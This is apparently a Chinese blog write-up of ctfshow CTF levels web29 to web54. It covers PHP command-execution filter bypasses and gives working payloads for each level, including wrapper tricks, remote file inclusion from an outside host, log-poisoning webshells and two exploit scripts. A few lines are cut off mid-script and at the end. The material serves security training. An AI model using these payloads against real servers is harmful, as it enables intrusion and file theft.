web入门之命令执行

admin 34 0

web29

题目描述:

命令执行,需要严格的过滤

题目源码如下:

<?php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题目解释:

通过GET请求接收参数c,并对参数c的值使用preg_match()函数进行正则匹配。

web入门之命令执行
web入门之命令执行

根据代码的意思,匹配了flag关键字。并使用修饰符i,表示不区分大小写的匹配。如果匹配flag关键字,则返回true,反之返回false

但是这里使用!取反,trueflasefalsetrue。因此我们输入的字符不带有flag关键字,才能执行eval()函数。

解题方法如下:

先执行ls命令,发现当前目录有个flag.php文件。

web入门之命令执行

接着使用如下方法读取该文件的内容:

?c=system('cat fla*.php');
?c=system('cat fla[a-g].php');
?c=system('cat fla?.php');
?c=system('cat fla``g.php');
?c=system('cat fla""g.php');

# cat命令可以替换为:
tac | more | less | curl | nl | tail | sort | strings | grep
web入门之命令执行
ctfshow{e07c06ee-611e-4bec-8bc7-74dbdfb74949}

web30

题目描述:

命令执行,需要严格的过滤

<?php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里对我们传入的参数进行了过滤,不能带有flagsystemphp等关键字。

解题方法:

使用passthru()函数执行系统命令ls,查看当前目录下的文件及目录,发现flag.php文件。

web入门之命令执行
?c=passthru('cat fla*');
?c=echo shell_exec('cat fla[a-z].[a-z]hp');
?c=echo `cat fla""g.p""hp`;
?c=echo exec("cat fla*");
web入门之命令执行
ctfshow{32e94c7a-cc49-44d8-a927-8ae0dd5a821a}

web31

<?php 

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解题方法:

?c=eval($_GET[cmd]);&cmd=system('nl flag.php');   # 
?c=passthru("tac%09fla*");
?c=include$_GET["url"];&url=php://filter/convert.base64-encode/resource=flag.php
web入门之命令执行
ctfshow{a9ef5024-66b5-4daa-b649-ccfa0ea79adc}

web32

题目源码如下:

<?php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

源码中过滤字符变的更多了,可以发现过滤了flag、system、php、cat、sort、shell、点、空格、反引号、echo、分号、英文括号

由于过滤了括号,所以?c=eval($_GET[1]);&1=phpinfo()?>不能使用。

PHP中无需括号的函数:

echo 666;
print 666;
die;
include "/etc/passwd";
include_one "/etc/passwd";
require "/etc/passwd";
require_one "/etc/passwd";

因此构造payload:

通过文件包含和php伪协议filter进行文件读取

?c=require$_GET["url"]?>&url=php://filter/convert.base64-encode/resource=flag.php
web入门之命令执行

将这段base64编码,放到终端里面解码即可。

web入门之命令执行
ctfshow{3415aa73-5a8c-4eb9-bc2e-451b4d09dd7f}

web33

题目源码如下:

<?php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解题方法

c=include$_GET[file]?>&file=php://filter/read=convert.base64-encode/resource=flag.php

web34

题目源码如下:

<?php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

本关比上一关在参数c上面多过滤了一个冒号。同样使用上一题的payload即可

?c=include$_GET[file]?>&file=php://filter/read=convert.base64-encode/resource=flag.php

web35

题目源码如下:

web入门之命令执行

本道题比上道题对参数c过滤了一些特殊字符。

解题方法:

?c=include$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>
?c=include$_GET[1]?>&1=php://filter/read/convert.base64-encode/resource=flag.php
web入门之命令执行

web36

题目源码如下:

web入门之命令执行

以上代码对参数c过来了如下字符:

flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"|<|=|/|[0-9] 
加上修饰符i表示不区分大小写的匹配。

解题方法:

?c=include$_GET[file]?>&file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

?c=require$_GET[file]?>&file=php://filter/read/convert.base64-encode/resource=flag.php
web入门之命令执行
ctfshow{063f8da6-f5f4-421d-9626-97a5364c806e}

web37

页面代码如下:

web入门之命令执行

这里对flag关键字进行匹配,如果没有匹配上才会include参数c的值,总之一句话不能包含flag字样的文件。

解题方法:

?c=https://giaoblog.com/123.txt      # 利用远程文件包含的形式

123.txt的内容如下:
<?php system('cat flag.php');?>

利用php伪协议读取:
?c=data://text/plain,<?php system('cat fl*');

利用php://input协议执行代码读取flag文件。

web入门之命令执行

利用包含日志的形式getshell

通过信息收集发现对方使用的中间件是nginx,并且操作系统是Ubuntu。默认情况下,访问日志应该在/var/log/nginx/access.log文件中。

尝试包含该文件,发现成功包含,并且在日志文件中,发现日志记录了我们的user-agent字段(一般都记录这个)。

web入门之命令执行

那么我们将user-agent字段修改为一句话木马,让其记录在日志文件中,我们包含即可。

web入门之命令执行

之后直接适用蚁剑,连接该日志文件即可:

web入门之命令执行

web38

题目源码如下:

web入门之命令执行

发现这里禁止带有参数c带有flag以及phpfile字样,如果参数c没有左侧三个字样,则会包含参数c的值。

解题方法:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pgo=

同样这一题通过日志文件包含也是可以getshlel的。

web39

题目源码如下:

web入门之命令执行

通过代码审计发现,不能带有flag关键字,并且参数c的值会与".php"字符进行拼接。

假设参数c的值等于3,那么经过拼接之后就为3.php。那么这里的话,就只能使用data伪协议了。

解题方法:

data://text/plain,<?php system('cat fl*');?>

参数c的值为data://text/plain,<?php system('cat fl*');?>。经过点拼接之后,就变成了data://text/plain,<?php system('cat fl*');?>.php但是原有的代码已经通过?>,所以说会将.php的内容作为普通文本显示。system()函数可以正常执行。不受其干扰。

web入门之命令执行
ctfshow{e24b9c5e-31b0-4ebf-9c50-b30ff12daa0c}

web40

题目源码如下:

web入门之命令执行

根据代码审计发现这里是个无参RCE。过滤内容如下:

[0-9]|~|`|@|#|$|%|^|&|*|(|)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\
# 每个过滤参数使用|隔开,并且去掉了转移符号

发现将我们之前使用的$以及:,但是这里过滤了单引号和双引号,因此我们这里不能给函数传入参数了。

注意代码中过滤的是中文的左括号中文的右括号,在php中使用的是英文的左右括号,因此这里还可以调用函数,但是不能给函数传入参数了,因为单引号和双引号被过滤了。

但是我们可以利用函数的嵌套,将内部函数的返回值作为外部函数的参数。

例如:

web入门之命令执行

test函数的返回值为.,让该返回值作为scandir()的参数。scandir — 列出指定路径中的文件和目录。其参数1为要列出的目录,而.Linux系统中表示当前路径的意思,因此scandir()则会列出当前目录下的所有文件以及目录。

web入门之命令执行

解题方法:

那么我们如何哪一个函数的返回值为(包含)一个点呢?答案是localeconv()函数,localeconv —获取数字格式信息。

其返回值为一个关联数组,数组的第一个元素对应的值则为点。

web入门之命令执行

那么我们如何获取到第一个属性值呢?答案是current()函数其别名函数为pos()current()以返回数组当前元素的值,初始情况下指向第一个元素。

array_shift()函数也可以返回数组的第一个元素对应的值。该函数原本的作用用于删除数组中的第一个元素,并返回被删除的第一个元素对应的值。

因此构造如下payload:

c=var_dump(scandir(current(localeconv())));
web入门之命令执行

通过结果可以发现,flag.php文件在关联数组中倒数第二个。那么我们如何获取倒数第二个元素呢?

先试用array_reverse()函数将该数组反转。那么flag.php就变成了整数第二个。

?c=var_dump(array_reverse(scandir(current(localeconv()))));
web入门之命令执行

那么我们如何获取到数组的第二个元素呢?答案next()函数,其作用是将数组中的内部指针向前移动一位

例如:

web入门之命令执行

此时,我们要获取第二个元素,next()函数刚好能获取到。

?c=var_dump(next(array_reverse(scandir(current(localeconv())))));
web入门之命令执行

之后使用show_source()函数查看该文件的源码即可。

?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web入门之命令执行
ctfshow{dce12c1d-9221-4ad3-9b27-354661772ab7}

还可以通过cookie获得参数进行命令执行

web入门之命令执行

web41

页面源代码如下:

web入门之命令执行

本道题过滤了以下字符,每个字符以|进行分割

[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-

重点是过滤了数字大小写字符a-Z,看来这道题传字母是不可能的事情了。但是里面特意留了|或运算符,并没有被过滤。

那么我们可以从ascii码0-255中,找到通过或运算符得到我们可以用的字符

这里用下羽师傅的脚本:

<?php
# 以写入的方式打开rce_or.txt文件
$myfile = fopen("rce_or.txt", "w");
$contents="";

# 使用for循环遍历得到0-255之间的数值
for ($i=0; $i < 256; $i++) { 
        # 使用for循环遍历得到0-255之间的数值
	for ($j=0; $j <256 ; $j++) { 
                # 如果$i每次遍历出来的值小于16执行if里面的代码
                # 因为1-15转为十六进制都是单个字符,比如A、B、C、所以要加上0
		if($i<16){
                        在前面拼接0,比如00 - 0f 十六进制
			$hex_i='0'.dechex($i);
		}
                # 如果不小于16的话执行这里的代码
		else{   
                        # 直接将十进制转为十六进制赋值给dechex
			$hex_i=dechex($i);
		}
                
                # 同上
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
                # 构造正则表达式
	h
                
                # 判断构造出来的01,02,03,..0f是否在匹配字符里面
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){   
                             如果在的话输出为空
					echo "";
    }
                # 如果不再匹配字符的里面则执行else的内容
		else{
                # 在其前面拼接%
		$a='%'.$hex_i;
		$b='%'.$hex_j;
                
                // 对其进行url解码做或运算
		$c=(urldecode($a)|urldecode($b));
                // 将$c转为ascii码十进制如果在32和126之间则将其输出
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

最终生成rce_or.txt文件,内容如下:

  %00 %20
! %00 %21
" %00 %22
# %00 %23
% %00 %25
' %00 %27
( %00 %28
) %00 %29
* %00 %2a
, %00 %2c
. %00 %2e
/ %00 %2f
: %00 %3a

那为什么%00 %21做或运算就可以得到!呢?首先,先将十六机制00转为十进制之后再将其转为二进制。21也是如此。

转换如下,按照或运算的运算规则,上下对应只要有一个为1,最终的结果都为1

0000 0000
0001 0101           
----------
0001 0101    # 21

那么再将十六机制21转为对应的ascii

web入门之命令执行

在PHP中使用如下方法调用函数是合法的:

web入门之命令执行

最终构造代码如下:

web入门之命令执行

但是这种是不可行的方法,首先服务端在收到客户端传递的参数时会对其进行一次url解码,不管是POST请求还是GET请求,都会进行一次解码。

但是这里面可能有些换行符、空格等等。致使我们无法成功,我们还需要另外一个脚本:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

需要先生成rce_or.txt才可以。

web入门之命令执行

web42

题目源码如下:

web入门之命令执行

这里接收了参数c,并将参数c的值作为system()函数的参数接着又拼接了 >/dev/null 2>&1 表示将输出结果都放到了一个空设备中(dev/null)

当我们单纯的传个?c=ls经过拼接就变成了?c=ls >/dev/null 2>&1,也就是将ls的结果输出到了空设备文件中,致使我们永远看不到命令的执行结果。

这里简单介绍一下Linux的输出输出标识符

0标准输入
1标准输出
2错误输出

1> 重定向正确输出

2> 重定向错误输出

&>重定向所有输出

解题方法:

使用命令拼接符即可

?c=cat flag.php;
?c=cat flag.php||
?c=cat flag.php%0a
web入门之命令执行

web43

页面源码如下:

web入门之命令执行

比上一题多过滤了;以及cat命令

解题方法:

?c=tac flag.php%0a
?c=nl flag.php||

web44

题目源码如下:

web入门之命令执行

比上一题多过滤了flag关键字。

解题方法:

?c=tac fla*||
?c=tac fla[a-z].php||
?c=tac fla*.php%0a
?c=tac fla?.php%0a
web入门之命令执行

web45

题目源码如下:

web入门之命令执行

基于上一题来看,这里多过滤了一个空格,对于空格被过滤,可以使用如下方法代替

<  重定向符号号
<> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能

解题方法:

?c=tac%09fla*%0a
?c=tac${IFS}fla*||
?c=tac$IFS$9fla*||

web46

页面源码如下:

web入门之命令执行

在上一题的基础上,多过滤了数字[0-9]且将$以及*过滤。

解题方法:

?c=tac%09fla?.php%0a
?c=tac<fla''g.php||
?c=tac<>fla''g.php||

web47

页面源码如下:

web入门之命令执行

基于上一题,这里多过滤了几条查看文件的命令,一般情况下,可以查看文件的命令有:

more <filename>:一页一页的显示档案内容
less <filename>:与 more 类似
head -n 3 <filename>:查看头3行
tac <filename>:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail -n 3 <filename>:查看尾3行
nl <filename>:显示的时候,顺便输出行号
od <filename>:以二进制的方式读取档案内容
vi <filename>:一种编辑器,这个也可以查看
vim <filename>:一种编辑器,这个也可以查看
sort <filename>:可以查看
uniq <filename>:可以查看
file -f <filename>:报错出具体内容
strings <filename>
cp <filename>
grep flag *.php 查到当前目录下文件中带有flag字样以及以.php结尾的文件,并将文件内容显示出来

解题方法:

?c=tac<fla''g.php%0a
tac<>fla''g.php%0a
?c=tac%09fl?g.php%0a
?c=uniq%09fla?.php%0a
?c=grep%09fla%09fla?.php%0a

web48

页面源码如下:

web入门之命令执行

基于上一题,也是多过滤了一个查看文件的命令。直接使用别的替换即可。

解题方法:

?c=tac%09fla""g.php||
?c=nl%09fl?g.php||
?c=vi%09fl?g.php%0a

web49

题目源码如下:

web入门之命令执行

基于上一题多过滤了反引号以及百分号。

解题方法:

?c=tac%09fla?.php%0a
?c=tac%09fla""g.php||
tac<fla""g.php||
tac<fla""g.php%26%26

那么这里明明过滤了百分号,为什么还可以使用%09呢?这是由于服务器收到客户端发送的数据时,中间件会对其进行一次url解码之后,才会交给PHP程序解析。因此这里可以使用百分号。

web50

页面源码如下:

web入门之命令执行

基于上一题,这一题多过滤和0926,那么%09%26均已无法使用,那么%09可以使用>以及<>代替,他们都可以代替一个空格。

解题方法:

?c=nl<fla""g.php%0a

web51

页面源码如下:

web入门之命令执行

这道题比上一道题多过滤了一个tac

解题方法:

?c=nl<fla""g.php%0a

web52

题目源码如下:

web入门之命令执行

基于上一道题,这里多过滤了大于号小于号,但是这道题把$放出来了。

解题方法:

?c=nl${IFS}fla''g.php||
web入门之命令执行

这里得到的flag是一个假的,那么我们列出根目录内容看一下:

?c=ls${IFS}/||
web入门之命令执行

在根目录中发现了flag,再次构造payload

nl${IFS}/fla""g||
web入门之命令执行

当然?c=nl${IFS}/fla""g%0a这种方法也是可以的。

web53

页面源码如下:

web入门之命令执行

基于上一题呢这里多过滤了一个wget命令,之后又去除了上一题所有的拼接。

解题方法:

?c=ca''t${IFS}fla""g.php
?c=ca''t$IFS""fla""g.php

web54

页面源码如下:

<?php 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里使用通配符的方法匹配了flag等关键字,其中.*c.*a.*t.*表示匹配连续带有cat的字符串,比如xxxxxxxxcxxxxxxxxxaxxxxxt这样的字符串也会被匹配到,因为在正则表达式中的.表示匹配除换行符以外的所有字符,而*表示前面的原子可以匹配0次或多次。那么.*就表示匹配任意长度的任意字符。

web入门之命令执行

从下图中可以看到,当只要连续出现了cat不管中间间隔多少任意字符,都可以被匹配到,因此ca""t这种写法不能再使用了。

web入门之命令执行

经过整理,最终字符的内容如下:

;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|nl|scp|rm|`|%|\x09|\x26|>|

w

发表评论 取消回复
表情 图片 链接 代码

分享